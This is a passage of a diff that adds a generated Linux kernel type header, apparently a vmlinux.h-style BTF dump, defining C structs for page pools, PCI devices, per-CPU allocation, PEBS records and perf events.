*init_arg; + }; + struct page_pool_params_slow slow; + }; +}; + +struct page_pool_recycle_stats { + u64 cached; + u64 cache_full; + u64 ring; + u64 ring_full; + u64 released_refcnt; +}; + +struct page_pool_stats { + struct page_pool_alloc_stats alloc_stats; + struct page_pool_recycle_stats recycle_stats; +}; + +struct page_region { + __u64 start; + __u64 end; + __u64 categories; +}; + +struct page_vma_mapped_walk { + unsigned long pfn; + unsigned long nr_pages; + unsigned long pgoff; + struct vm_area_struct *vma; + unsigned long address; + pmd_t *pmd; + pte_t *pte; + spinlock_t *ptl; + unsigned int flags; +}; + +struct pm_scan_arg { + __u64 size; + __u64 flags; + __u64 start; + __u64 end; + __u64 walk_end; + __u64 vec; + __u64 vec_len; + __u64 max_pages; + __u64 category_inverted; + __u64 category_mask; + __u64 category_anyof_mask; + __u64 return_mask; +}; + +struct pagemap_scan_private { + struct pm_scan_arg arg; + unsigned long masks_of_interest; + unsigned long cur_vma_category; + struct page_region *vec_buf; + unsigned long vec_buf_len; + unsigned long vec_buf_index; + unsigned long found_pages; + struct page_region __attribute__((btf_type_tag("user"))) *vec_out; +}; + +struct pagemapread { + int pos; + int len; + pagemap_entry_t *buffer; + bool show_pfn; +}; + +struct pagerange_state { + unsigned long cur_pfn; + int ram; + int not_ram; +}; + +struct pages_devres { + unsigned long addr; + unsigned int order; +}; + +struct parallel_data { + struct padata_shell *ps; + struct padata_list __attribute__((btf_type_tag("percpu"))) *reorder_list; + struct padata_serial_queue __attribute__((btf_type_tag("percpu"))) *squeue; + refcount_t refcnt; + unsigned int seq_nr; + unsigned int processed; + int cpu; + struct padata_cpumask cpumask; + struct work_struct reorder_work; + spinlock_t lock; +}; + +struct partition_meta_info { + char uuid[37]; + u8 volname[64]; +}; + +struct parsed_partitions { + struct gendisk *disk; + char name[32]; + struct { + sector_t from; + sector_t size; + int flags; + bool has_info; + struct partition_meta_info info; + } *parts; + int next; + int limit; + bool access_beyond_eod; + char *pp_buf; +}; + +struct partial_cluster { + ext4_fsblk_t pclu; + ext4_lblk_t lblk; + enum { + initial = 0, + tofree = 1, + nofree = 2, + } state; +}; + +struct partial_context { + gfp_t flags; + unsigned int orig_size; + void *object; +}; + +struct partial_page { + unsigned int offset; + unsigned int len; + unsigned long private; +}; + +struct pause_reply_data { + struct ethnl_reply_data base; + struct ethtool_pauseparam pauseparam; + struct ethtool_pause_stats pausestat; +}; + +struct pause_req_info { + struct ethnl_req_info base; + enum ethtool_mac_stats_src src; +}; + +struct pbe { + void *address; + void *orig_address; + struct pbe *next; +}; + +struct pcc_mbox_chan { + struct mbox_chan *mchan; + u64 shmem_base_addr; + u64 shmem_size; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +}; + +struct pcc_chan_reg { + void *vaddr; + struct acpi_generic_address *gas; + u64 preserve_mask; + u64 set_mask; + u64 status_mask; +}; + +struct pcc_chan_info { + struct pcc_mbox_chan chan; + struct pcc_chan_reg db; + struct pcc_chan_reg plat_irq_ack; + struct pcc_chan_reg cmd_complete; + struct pcc_chan_reg cmd_update; + struct pcc_chan_reg error; + int plat_irq; + u8 type; + unsigned int plat_irq_flags; + bool chan_in_use; +}; + +struct pcc_data { + struct pcc_mbox_chan *pcc_chan; + void *pcc_comm_addr; + struct completion done; + struct mbox_client cl; + struct acpi_pcc_info ctx; +}; + +struct pci1xxxx_8250 { + unsigned int nr; + u8 dev_rev; + u8 pad[3]; + void *membase; + int line[0]; +}; + +struct pci2phy_map { + struct list_head list; + int segment; + int pbus_to_dieid[256]; +}; + +struct pci_acs { + u16 cap; + u16 ctrl; + u16 fw_ctrl; +}; + +struct pci_bits { + unsigned int reg; + unsigned int width; + unsigned long mask; + unsigned long val; +}; + +struct pci_bus { + struct list_head node; + struct pci_bus *parent; + struct list_head children; + struct list_head devices; + struct pci_dev *self; + struct list_head slots; + struct resource *resource[4]; + struct list_head resources; + struct resource busn_res; + struct pci_ops *ops; + void *sysdata; + struct proc_dir_entry *procdir; + unsigned char number; + unsigned char primary; + unsigned char max_bus_speed; + unsigned char cur_bus_speed; + char name[48]; + unsigned short bridge_ctl; + pci_bus_flags_t bus_flags; + struct device *bridge; + struct device dev; + struct bin_attribute *legacy_io; + struct bin_attribute *legacy_mem; + unsigned int is_added: 1; + unsigned int unsafe_warn: 1; +}; + +struct pci_bus_region { + pci_bus_addr_t start; + pci_bus_addr_t end; +}; + +struct pci_bus_resource { + struct list_head list; + struct resource *res; + unsigned int flags; +}; + +struct pci_cap_saved_data { + u16 cap_nr; + bool cap_extended; + unsigned int size; + u32 data[0]; +}; + +struct pci_cap_saved_state { + struct hlist_node next; + struct pci_cap_saved_data cap; +}; + +struct pci_check_idx_range { + int start; + int end; +}; + +struct pci_vpd { + struct mutex lock; + unsigned int len; + u8 cap; +}; + +struct pcie_link_state; + +struct pci_dev { + struct list_head bus_list; + struct pci_bus *bus; + struct pci_bus *subordinate; + void *sysdata; + struct proc_dir_entry *procent; + struct pci_slot *slot; + unsigned int devfn; + unsigned short vendor; + unsigned short device; + unsigned short subsystem_vendor; + unsigned short subsystem_device; + unsigned int class; + u8 revision; + u8 hdr_type; + u32 devcap; + u8 pcie_cap; + u8 msi_cap; + u8 msix_cap; + u8 pcie_mpss: 3; + u8 rom_base_reg; + u8 pin; + u16 pcie_flags_reg; + unsigned long *dma_alias_mask; + struct pci_driver *driver; + u64 dma_mask; + struct device_dma_parameters dma_parms; + pci_power_t current_state; + u8 pm_cap; + unsigned int pme_support: 5; + unsigned int pme_poll: 1; + unsigned int pinned: 1; + unsigned int config_rrs_sv: 1; + unsigned int imm_ready: 1; + unsigned int d1_support: 1; + unsigned int d2_support: 1; + unsigned int no_d1d2: 1; + unsigned int no_d3cold: 1; + unsigned int bridge_d3: 1; + unsigned int d3cold_allowed: 1; + unsigned int mmio_always_on: 1; + unsigned int wakeup_prepared: 1; + unsigned int skip_bus_pm: 1; + unsigned int ignore_hotplug: 1; + unsigned int hotplug_user_indicators: 1; + unsigned int clear_retrain_link: 1; + unsigned int d3hot_delay; + unsigned int d3cold_delay; + u16 l1ss; + struct pcie_link_state *link_state; + unsigned int ltr_path: 1; + unsigned int pasid_no_tlp: 1; + unsigned int eetlp_prefix_path: 1; + pci_channel_state_t error_state; + struct device dev; + int cfg_size; + unsigned int irq; + struct resource resource[11]; + struct resource driver_exclusive_resource; + bool match_driver; + unsigned int transparent: 1; + unsigned int io_window: 1; + unsigned int pref_window: 1; + unsigned int pref_64_window: 1; + unsigned int multifunction: 1; + unsigned int is_busmaster: 1; + unsigned int no_msi: 1; + unsigned int no_64bit_msi: 1; + unsigned int block_cfg_access: 1; + unsigned int broken_parity_status: 1; + unsigned int irq_reroute_variant: 2; + unsigned int msi_enabled: 1; + unsigned int msix_enabled: 1; + unsigned int ari_enabled: 1; + unsigned int ats_enabled: 1; + unsigned int pasid_enabled: 1; + unsigned int pri_enabled: 1; + unsigned int is_managed: 1; + unsigned int is_msi_managed: 1; + unsigned int needs_freset: 1; + unsigned int state_saved: 1; + unsigned int is_physfn: 1; + unsigned int is_virtfn: 1; + unsigned int is_hotplug_bridge: 1; + unsigned int shpc_managed: 1; + unsigned int is_thunderbolt: 1; + unsigned int untrusted: 1; + unsigned int external_facing: 1; + unsigned int broken_intx_masking: 1; + unsigned int io_window_1k: 1; + unsigned int irq_managed: 1; + unsigned int non_compliant_bars: 1; + unsigned int is_probed: 1; + unsigned int link_active_reporting: 1; + unsigned int no_vf_scan: 1; + unsigned int no_command_memory: 1; + unsigned int rom_bar_overlap: 1; + unsigned int rom_attr_enabled: 1; + pci_dev_flags_t dev_flags; + atomic_t enable_cnt; + spinlock_t pcie_cap_lock; + u32 saved_config_space[16]; + struct hlist_head saved_cap_space; + struct bin_attribute *res_attr[11]; + struct bin_attribute *res_attr_wc[11]; + void *msix_base; + raw_spinlock_t msi_lock; + struct pci_vpd vpd; + u16 acs_cap; + phys_addr_t rom; + size_t romlen; + const char *driver_override; + unsigned long priv_flags; + u8 reset_methods[8]; +}; + +struct pci_dev_acs_enabled { + u16 vendor; + u16 device; + int (*acs_enabled)(struct pci_dev *, u16); +}; + +struct pci_dev_acs_ops { + u16 vendor; + u16 device; + int (*enable_acs)(struct pci_dev *); + int (*disable_acs_redir)(struct pci_dev *); +}; + +struct pci_dev_reset_methods { + u16 vendor; + u16 device; + int (*reset)(struct pci_dev *, bool); +}; + +struct pci_dev_resource { + struct list_head list; + struct resource *res; + struct pci_dev *dev; + resource_size_t start; + resource_size_t end; + resource_size_t add_size; + resource_size_t min_align; + unsigned long flags; +}; + +struct pci_device_id { + __u32 vendor; + __u32 device; + __u32 subvendor; + __u32 subdevice; + __u32 class; + __u32 class_mask; + kernel_ulong_t driver_data; + __u32 override_only; +}; + +struct pci_domain_busn_res { + struct list_head list; + struct resource res; + int domain_nr; +}; + +struct pci_dynids { + spinlock_t lock; + struct list_head list; +}; + +struct pci_error_handlers; + +struct pci_driver { + const char *name; + const struct pci_device_id *id_table; + int (*probe)(struct pci_dev *, const struct pci_device_id *); + void (*remove)(struct pci_dev *); + int (*suspend)(struct pci_dev *, pm_message_t); + int (*resume)(struct pci_dev *); + void (*shutdown)(struct pci_dev *); + int (*sriov_configure)(struct pci_dev *, int); + int (*sriov_set_msix_vec_count)(struct pci_dev *, int); + u32 (*sriov_get_vf_total_msix)(struct pci_dev *); + const struct pci_error_handlers *err_handler; + const struct attribute_group **groups; + const struct attribute_group **dev_groups; + struct device_driver driver; + struct pci_dynids dynids; + bool driver_managed_dma; +}; + +struct pci_dynid { + struct list_head node; + struct pci_device_id id; +}; + +struct pci_error_handlers { + pci_ers_result_t (*error_detected)(struct pci_dev *, pci_channel_state_t); + pci_ers_result_t (*mmio_enabled)(struct pci_dev *); + pci_ers_result_t (*slot_reset)(struct pci_dev *); + void (*reset_prepare)(struct pci_dev *); + void (*reset_done)(struct pci_dev *); + void (*resume)(struct pci_dev *); + void (*cor_error_detected)(struct pci_dev *); +}; + +struct pci_extra_dev { + struct pci_dev *dev[4]; +}; + +struct pci_filp_private { + enum pci_mmap_state mmap_state; + int write_combine; +}; + +struct pci_fixup { + u16 vendor; + u16 device; + u32 class; + unsigned int class_shift; + int hook_offset; +}; + +struct pci_host_bridge { + struct device dev; + struct pci_bus *bus; + struct pci_ops *ops; + struct pci_ops *child_ops; + void *sysdata; + int busnr; + int domain_nr; + struct list_head windows; + struct list_head dma_ranges; + u8 (*swizzle_irq)(struct pci_dev *, u8 *); + int (*map_irq)(const struct pci_dev *, u8, u8); + void (*release_fn)(struct pci_host_bridge *); + void *release_data; + unsigned int ignore_reset_delay: 1; + unsigned int no_ext_tags: 1; + unsigned int no_inc_mrrs: 1; + unsigned int native_aer: 1; + unsigned int native_pcie_hotplug: 1; + unsigned int native_shpc_hotplug: 1; + unsigned int native_pme: 1; + unsigned int native_ltr: 1; + unsigned int native_dpc: 1; + unsigned int native_cxl_error: 1; + unsigned int preserve_config: 1; + unsigned int size_windows: 1; + unsigned int msi_domain: 1; + resource_size_t (*align_resource)(struct pci_dev *, const struct resource *, resource_size_t, resource_size_t, resource_size_t); + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned long private[0]; +}; + +struct pci_hostbridge_probe { + u32 bus; + u32 slot; + u32 vendor; + u32 device; +}; + +struct pci_mmcfg_hostbridge_probe { + u32 bus; + u32 devfn; + u32 vendor; + u32 device; + const char * (*probe)(void); +}; + +struct pci_mmcfg_region { + struct list_head list; + struct resource res; + u64 address; + char *virt; + u16 segment; + u8 start_bus; + u8 end_bus; + char name[30]; +}; + +struct pci_ops { + int (*add_bus)(struct pci_bus *); + void (*remove_bus)(struct pci_bus *); + void * (*map_bus)(struct pci_bus *, unsigned int, int); + int (*read)(struct pci_bus *, unsigned int, int, int, u32 *); + int (*write)(struct pci_bus *, unsigned int, int, int, u32); +}; + +struct pci_osc_bit_struct { + u32 bit; + char *desc; +}; + +struct pci_p2pdma_map_state { + struct dev_pagemap *pgmap; + int map; + u64 bus_off; +}; + +struct pci_pme_device { + struct list_head list; + struct pci_dev *dev; +}; + +struct pci_raw_ops { + int (*read)(unsigned int, unsigned int, unsigned int, int, int, u32 *); + int (*write)(unsigned int, unsigned int, unsigned int, int, int, u32); +}; + +struct pci_reset_fn_method { + int (*reset_fn)(struct pci_dev *, bool); + char *name; +}; + +struct pci_root_info { + struct list_head list; + char name[12]; + struct list_head resources; + struct resource busn; + int node; + int link; +}; + +struct pci_sysdata { + int domain; + int node; + struct acpi_device *companion; + void *iommu; + void *fwnode; +}; + +struct pci_root_info___2 { + struct acpi_pci_root_info common; + struct pci_sysdata sd; + bool mcfg_added; + u8 start_bus; + u8 end_bus; +}; + +struct pci_root_res { + struct list_head list; + struct resource res; +}; + +struct pci_saved_state { + u32 config_space[16]; + struct pci_cap_saved_data cap[0]; +}; + +struct serial_private; + +struct pciserial_board; + +struct pci_serial_quirk { + u32 vendor; + u32 device; + u32 subvendor; + u32 subdevice; + int (*probe)(struct pci_dev *); + int (*init)(struct pci_dev *); + int (*setup)(struct serial_private *, const struct pciserial_board *, struct uart_8250_port *, int); + void (*exit)(struct pci_dev *); +}; + +struct setup_data { + __u64 next; + __u32 type; + __u32 len; + __u8 data[0]; +}; + +struct pci_setup_rom { + struct setup_data data; + uint16_t vendor; + uint16_t devid; + uint64_t pcilen; + unsigned long segment; + unsigned long bus; + unsigned long device; + unsigned long function; + uint8_t romdata[0]; +}; + +struct pci_slot { + struct pci_bus *bus; + struct list_head list; + struct hotplug_slot *hotplug; + unsigned char number; + struct kobject kobj; +}; + +struct pci_slot_attribute { + struct attribute attr; + ssize_t (*show)(struct pci_slot *, char *); + ssize_t (*store)(struct pci_slot *, const char *, size_t); +}; + +struct pcibios_fwaddrmap { + struct list_head list; + struct pci_dev *dev; + resource_size_t fw_addr[11]; +}; + +struct pcie_link_state { + struct pci_dev *pdev; + struct pci_dev *downstream; + struct pcie_link_state *root; + struct pcie_link_state *parent; + struct list_head sibling; + u32 aspm_support: 7; + u32 aspm_enabled: 7; + u32 aspm_capable: 7; + u32 aspm_default: 7; + int: 4; + u32 aspm_disable: 7; + u32 clkpm_capable: 1; + u32 clkpm_enabled: 1; + u32 clkpm_default: 1; + u32 clkpm_disable: 1; +}; + +struct pcie_tlp_log { + u32 dw[4]; +}; + +struct pcim_addr_devres { + enum pcim_addr_devres_type type; + void *baseaddr; + unsigned long offset; + unsigned long len; + int bar; +}; + +struct pcim_intx_devres { + int orig_intx; +}; + +struct pcim_iomap_devres { + void *table[6]; +}; + +struct pciserial_board { + unsigned int flags; + unsigned int num_ports; + unsigned int base_baud; + unsigned int uart_offset; + unsigned int reg_shift; + unsigned int first_offset; +}; + +struct pcpu_group_info { + int nr_units; + unsigned long base_offset; + unsigned int *cpu_map; +}; + +struct pcpu_alloc_info { + size_t static_size; + size_t reserved_size; + size_t dyn_size; + size_t unit_size; + size_t atom_size; + size_t alloc_size; + size_t __ai_size; + int nr_groups; + struct pcpu_group_info groups[0]; +}; + +struct pcpu_block_md { + int scan_hint; + int scan_hint_start; + int contig_hint; + int contig_hint_start; + int left_free; + int right_free; + int first_free; + int nr_bits; +}; + +struct pcpuobj_ext; + +struct pcpu_chunk { + struct list_head list; + int free_bytes; + struct pcpu_block_md chunk_md; + unsigned long *bound_map; + void *base_addr; + unsigned long *alloc_map; + struct pcpu_block_md *md_blocks; + void *data; + bool immutable; + bool isolated; + int start_offset; + int end_offset; + struct pcpuobj_ext *obj_exts; + int nr_pages; + int nr_populated; + int nr_empty_pop_pages; + unsigned long populated[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct pcpu_dstats { + u64_stats_t rx_packets; + u64_stats_t rx_bytes; + u64_stats_t rx_drops; + u64_stats_t tx_packets; + u64_stats_t tx_bytes; + u64_stats_t tx_drops; + struct u64_stats_sync syncp; + long: 64; + long: 64; +}; + +struct pcpu_gen_cookie { + local_t nesting; + u64 last; +}; + +struct pcpu_hot { + union { + struct { + struct task_struct *current_task; + int preempt_count; + int cpu_number; + u64 call_depth; + unsigned long top_of_stack; + void *hardirq_stack_ptr; + u16 softirq_pending; + bool hardirq_stack_inuse; + }; + u8 pad[64]; + }; +}; + +struct pcpu_lstats { + u64_stats_t packets; + u64_stats_t bytes; + struct u64_stats_sync syncp; +}; + +struct pcpu_sw_netstats { + u64_stats_t rx_packets; + u64_stats_t rx_bytes; + u64_stats_t tx_packets; + u64_stats_t tx_bytes; + struct u64_stats_sync syncp; +}; + +struct pcpuobj_ext { + struct obj_cgroup *cgroup; +}; + +struct pde_opener { + struct list_head lh; + struct file *file; + bool closing; + struct completion *c; +}; + +struct pdev_archdata {}; + +struct pebs_basic { + u64 format_size; + u64 ip; + u64 applicable_counters; + u64 tsc; +}; + +struct pebs_gprs { + u64 flags; + u64 ip; + u64 ax; + u64 cx; + u64 dx; + u64 bx; + u64 sp; + u64 bp; + u64 si; + u64 di; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; +}; + +struct pebs_meminfo { + u64 address; + u64 aux; + u64 latency; + u64 tsx_tuning; +}; + +struct pebs_record_core { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; +}; + +struct pebs_record_nhm { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; + u64 status; + u64 dla; + u64 dse; + u64 lat; +}; + +struct pebs_record_skl { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; + u64 status; + u64 dla; + u64 dse; + u64 lat; + u64 real_ip; + u64 tsx_tuning; + u64 tsc; +}; + +struct pebs_xmm { + u64 xmm[32]; +}; + +struct pending_dir_move { + struct rb_node node; + struct list_head list; + u64 parent_ino; + u64 ino; + u64 gen; + struct list_head update_refs; +}; + +struct pending_reservation { + struct rb_node rb_node; + ext4_lblk_t lclu; +}; + +struct per_cpu_nodestat { + s8 stat_threshold; + s8 vm_node_stat_diff[44]; +}; + +struct per_cpu_pages { + spinlock_t lock; + int count; + int high; + int high_min; + int high_max; + int batch; + u8 flags; + u8 alloc_factor; + u8 expire; + short free_count; + struct list_head lists[14]; +}; + +struct per_cpu_zonestat { + s8 vm_stat_diff[10]; + s8 stat_threshold; + unsigned long vm_numa_event[6]; +}; + +struct percpu_cluster { + unsigned int next[10]; +}; + +struct percpu_free_defer { + struct callback_head rcu; + void __attribute__((btf_type_tag("percpu"))) *ptr; +}; + +typedef void percpu_ref_func_t(struct percpu_ref *); + +struct percpu_ref_data { + atomic_long_t count; + percpu_ref_func_t *release; + percpu_ref_func_t *confirm_switch; + bool force_atomic: 1; + bool allow_reinit: 1; + struct callback_head rcu; + struct percpu_ref *ref; +}; + +struct perf_addr_filter { + struct list_head entry; + struct path path; + unsigned long offset; + unsigned long size; + enum perf_addr_filter_action_t action; +}; + +struct perf_addr_filter_range { + unsigned long start; + unsigned long size; +}; + +struct perf_addr_filters_head { + struct list_head list; + raw_spinlock_t lock; + unsigned int nr_file_filters; +}; + +struct perf_event_header { + __u32 type; + __u16 misc; + __u16 size; +}; + +struct perf_aux_event { + struct perf_event_header header; + u64 hw_id; +}; + +struct perf_aux_event___2 { + struct perf_event_header header; + u32 pid; + u32 tid; +}; + +struct perf_aux_event___3 { + struct perf_event_header header; + u64 offset; + u64 size; + u64 flags; +}; + +struct perf_bpf_event { + struct bpf_prog *prog; + struct { + struct perf_event_header header; + u16 type; + u16 flags; + u32 id; + u8 tag[8]; + } event_id; +}; + +struct perf_event_mmap_page; + +struct perf_buffer { + refcount_t refcount; + struct callback_head callback_head; + int nr_pages; + int overwrite; + int paused; + atomic_t poll; + local_t head; + unsigned int nest; + local_t events; + local_t wakeup; + local_t lost; + long watermark; + long aux_watermark; + spinlock_t event_lock; + struct list_head event_list; + atomic_t mmap_count; + unsigned long mmap_locked; + struct user_struct *mmap_user; + struct mutex aux_mutex; + long aux_head; + unsigned int aux_nest; + long aux_wakeup; + unsigned long aux_pgoff; + int aux_nr_pages; + int aux_overwrite; + atomic_t aux_mmap_count; + unsigned long aux_mmap_locked; + void (*free_aux)(void *); + refcount_t aux_refcount; + int aux_in_sampling; + void **aux_pages; + void *aux_priv; + struct perf_event_mmap_page *user_page; + void *data_pages[0]; +}; + +struct perf_callchain_entry { + __u64 nr; + __u64 ip[0]; +}; + +struct perf_callchain_entry_ctx { + struct perf_callchain_entry *entry; + u32 max_stack; + u32 nr; + short contexts; + bool contexts_maxed; +}; + +union perf_capabilities { + struct { + u64 lbr_format: 6; + u64 pebs_trap: 1; + u64 pebs_arch_reg: 1; + u64 pebs_format: 4; + u64 smm_freeze: 1; + u64 full_width_write: 1; + u64 pebs_baseline: 1; + u64 perf_metrics: 1; + u64 pebs_output_pt_available: 1; + u64 pebs_timing_info: 1; + u64 anythread_deprecated: 1; + }; + u64 capabilities; +}; + +struct perf_cgroup_info; + +struct perf_cgroup { + struct cgroup_subsys_state css; + struct perf_cgroup_info __attribute__((btf_type_tag("percpu"))) *info; +}; + +struct perf_cgroup_event { + char *path; + int path_size; + struct { + struct perf_event_header header; + u64 id; + char path[0]; + } event_id; +}; + +struct perf_cgroup_info { + u64 time; + u64 timestamp; + u64 timeoffset; + int active; +}; + +struct perf_comm_event { + struct task_struct *task; + char *comm; + int comm_size; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + } event_id; +}; + +struct perf_event_groups { + struct rb_root tree; + u64 index; +}; + +struct perf_event_context { + raw_spinlock_t lock; + struct mutex mutex; + struct list_head pmu_ctx_list; + struct perf_event_groups pinned_groups; + struct perf_event_groups flexible_groups; + struct list_head event_list; + int nr_events; + int nr_user; + int is_active; + int nr_task_data; + int nr_stat; + int nr_freq; + int rotate_disable; + refcount_t refcount; + struct task_struct *task; + u64 time; + u64 timestamp; + u64 timeoffset; + struct perf_event_context *parent_ctx; + u64 parent_gen; + u64 generation; + int pin_count; + int nr_cgroups; + struct callback_head callback_head; + local_t nr_no_switch_fast; +}; + +struct perf_cpu_context { + struct perf_event_context ctx; + struct perf_event_context *task_ctx; + int online; + struct perf_cgroup *cgrp; + int heap_size; + struct perf_event **heap; + struct perf_event *heap_default[2]; +}; + +struct perf_event_pmu_context { + struct pmu *pmu; + struct perf_event_context *ctx; + struct list_head pmu_ctx_entry; + struct list_head pinned_active; + struct list_head flexible_active; + unsigned int embedded: 1; + unsigned int nr_events; + unsigned int nr_cgroups; + unsigned int nr_freq; + atomic_t refcount; + struct callback_head callback_head; + void *task_ctx_data; + int rotate_necessary; +}; + +struct perf_cpu_pmu_context { + struct perf_event_pmu_context epc; + struct perf_event_pmu_context *task_epc; + struct list_head sched_cb_entry; + int sched_cb_usage; + int active_oncpu; + int exclusive; + raw_spinlock_t hrtimer_lock; + struct hrtimer hrtimer; + ktime_t hrtimer_interval; + unsigned int hrtimer_active; +}; + +struct perf_domain { + struct em_perf_domain *em_pd; + struct perf_domain *next; + struct callback_head rcu; +}; + +struct perf_event_attr { + __u32 type; + __u32 size; + __u64 config; + union { + __u64 sample_period; + __u64 sample_freq; + }; + __u64 sample_type; + __u64 read_format; + __u64 disabled: 1; + __u64 inherit: 1; + __u64 pinned: 1; + __u64 exclusive: 1; + __u64 exclude_user: 1; + __u64 exclude_kernel: 1; + __u64 exclude_hv: 1; + __u64 exclude_idle: 1; + __u64 mmap: 1; + __u64 comm: 1; + __u64 freq: 1; + __u64 inherit_stat: 1; + __u64 enable_on_exec: 1; + __u64 task: 1; + __u64 watermark: 1; + __u64 precise_ip: 2; + __u64 mmap_data: 1; + __u64 sample_id_all: 1; + __u64 exclude_host: 1; + __u64 exclude_guest: 1; + __u64 exclude_callchain_kernel: 1; + __u64 exclude_callchain_user: 1; + __u64 mmap2: 1; + __u64 comm_exec: 1; + __u64 use_clockid: 1; + __u64 context_switch: 1; + __u64 write_backward: 1; + __u64 namespaces: 1; + __u64 ksymbol: 1; + __u64 bpf_event: 1; + __u64 aux_output: 1; + __u64 cgroup: 1; + __u64 text_poke: 1; + __u64 build_id: 1; + __u64 inherit_thread: 1; + __u64 remove_on_exec: 1; + __u64 sigtrap: 1; + __u64 __reserved_1: 26; + union { + __u32 wakeup_events; + __u32 wakeup_watermark; + }; + __u32 bp_type; + union { + __u64 bp_addr; + __u64 kprobe_func; + __u64 uprobe_path; + __u64 config1; + }; + union { + __u64 bp_len; + __u64 kprobe_addr; + __u64 probe_offset; + __u64 config2; + }; + __u64 branch_sample_type; + __u64 sample_regs_user; + __u32 sample_stack_user; + __s32 clockid; + __u64 sample_regs_intr; + __u32 aux_watermark; + __u16 sample_max_stack; + __u16 __reserved_2; + __u32 aux_sample_size; + __u32 __reserved_3; + __u64 sig_data; + __u64 config3; +}; + +typedef void (*perf_overflow_handler_t)(struct perf_event *, struct perf_sample_data *, struct pt_regs *); + +struct perf_event { + struct list_head event_entry; + struct list_head sibling_list; + struct list_head active_list; + struct rb_node group_node; + u64 group_index; + struct list_head migrate_entry; + struct hlist_node hlist_entry; + struct list_head active_entry; + int nr_siblings; + int event_caps; + int group_caps; + unsigned int group_generation; + struct perf_event *group_leader; + struct pmu *pmu; + void *pmu_private; + enum perf_event_state state; + unsigned int attach_state; + local64_t count; + atomic64_t child_count; + u64 total_time_enabled; + u64 total_time_running; + u64 tstamp; + struct perf_event_attr attr; + u16 header_size; + u16 id_header_size; + u16 read_size; + struct hw_perf_event hw; + struct perf_event_context *ctx; + struct perf_event_pmu_context *pmu_ctx; + atomic_long_t refcount; + atomic64_t child_total_time_enabled; + atomic64_t child_total_time_running; + struct mutex child_mutex; + struct list_head child_list; + struct perf_event *parent; + int oncpu; + int cpu; + struct list_head owner_entry; + struct task_struct *owner; + struct mutex mmap_mutex; + atomic_t mmap_count; + struct perf_buffer *rb; + struct list_head rb_entry; + unsigned long rcu_batches; + int rcu_pending; + wait_queue_head_t waitq; + struct fasync_struct *fasync; + unsigned int pending_wakeup; + unsigned int pending_kill; + unsigned int pending_disable; + unsigned long pending_addr; + struct irq_work pending_irq; + struct irq_work pending_disable_irq; + struct callback_head pending_task; + unsigned int pending_work; + struct rcuwait pending_work_wait; + atomic_t event_limit; + struct perf_addr_filters_head addr_filters; + struct perf_addr_filter_range *addr_filter_ranges; + unsigned long addr_filters_gen; + struct perf_event *aux_event; + void (*destroy)(struct perf_event *); + struct callback_head callback_head; + struct pid_namespace *ns; + u64 id; + atomic64_t lost_samples; + u64 (*clock)(void); + perf_overflow_handler_t overflow_handler; + void *overflow_handler_context; + struct bpf_prog *prog; + u64 bpf_cookie; + struct trace_event_call *tp_event; + struct event_filter *filter; + struct ftrace_ops ftrace_ops; + struct perf_cgroup *cgrp; + struct list_head sb_list; + __u32 orig_type; +}; + +struct perf_event_min_heap { + int nr; + int size; + struct perf_event **data; + struct perf_event *preallocated[0]; +}; + +struct perf_event_mmap_page { + __u32 version; + __u32 compat_version; + __u32 lock; + __u32 index; + __s64 offset; + __u64 time_enabled; + __u64 time_running; + union { + __u64 capabilities; + struct { + __u64 cap_bit0: 1; + __u64 cap_bit0_is_deprecated: 1; + __u64 cap_user_rdpmc: 1; + __u64 cap_user_time: 1; + __u64 cap_user_time_zero: 1; + __u64 cap_user_time_short: 1; + __u64 cap_____res: 58; + }; + }; + __u16 pmc_width; + __u16 time_shift; + __u32 time_mult; + __u64 time_offset; + __u64 time_zero; + __u32 size; + __u32 __reserved_1; + __u64 time_cycles; + __u64 time_mask; + __u8 __reserved[928]; + __u64 data_head; + __u64 data_tail; + __u64 data_offset; + __u64 data_size; + __u64 aux_head; + __u64 aux_tail; + __u64 aux_offset; + __u64 aux_size; +}; + +struct perf_event_query_bpf { + __u32 ids_len; + __u32 prog_cnt; + __u32 ids[0]; +}; + +struct perf_ibs { + struct pmu pmu; + unsigned int msr; + u64 config_mask; + u64 cnt_mask; + u64 enable_mask; + u64 valid_mask; + u64 max_period; + unsigned long offset_mask[1]; + int offset_max; + unsigned int fetch_count_reset_broken: 1; + unsigned int fetch_ignore_if_zero_rip: 1; + struct cpu_perf_ibs __attribute__((btf_type_tag("percpu"))) *pcpu; + u64 (*get_count)(u64); +}; + +struct perf_ibs_data { + u32 size; + union { + u32 data[0]; + u32 caps; + }; + u64 regs[8]; +}; + +struct perf_ksymbol_event { + const char *name; + int name_len; + struct { + struct perf_event_header header; + u64 addr; + u32 len; + u16 ksym_type; + u16 flags; + } event_id; +}; + +struct perf_mmap_event { + struct vm_area_struct *vma; + const char *file_name; + int file_size; + int maj; + int min; + u64 ino; + u64 ino_generation; + u32 prot; + u32 flags; + u8 build_id[20]; + u32 build_id_size; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + u64 start; + u64 len; + u64 pgoff; + } event_id; +}; + +struct perf_msr { + u64 msr; + struct attribute_group *grp; + bool (*test)(int, void *); + bool no_check; + u64 mask; +}; + +struct perf_ns_link_info { + __u64 dev; + __u64 ino; +}; + +struct perf_namespaces_event { + struct task_struct *task; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + u64 nr_namespaces; + struct perf_ns_link_info link_info[7]; + } event_id; +}; + +struct perf_pmu_events_attr { + struct device_attribute attr; + u64 id; + const char *event_str; +}; + +struct perf_pmu_events_ht_attr { + struct device_attribute attr; 